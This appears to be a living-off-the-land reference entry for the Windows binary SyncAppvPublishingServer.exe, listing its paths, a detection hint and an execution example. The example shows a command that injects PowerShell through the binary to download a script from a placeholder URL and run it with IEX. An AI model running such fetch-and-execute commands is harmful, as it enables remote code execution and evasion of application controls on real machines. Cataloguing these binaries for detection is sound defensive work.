Used by App-v to get App-v server lists

Paths:

C:\Windows\System32\SyncAppvPublishingServer.exe
C:\Windows\SysWOW64\SyncAppvPublishingServer.exe

Detection: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed

Execute

Example command on how inject Powershell code into the process

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"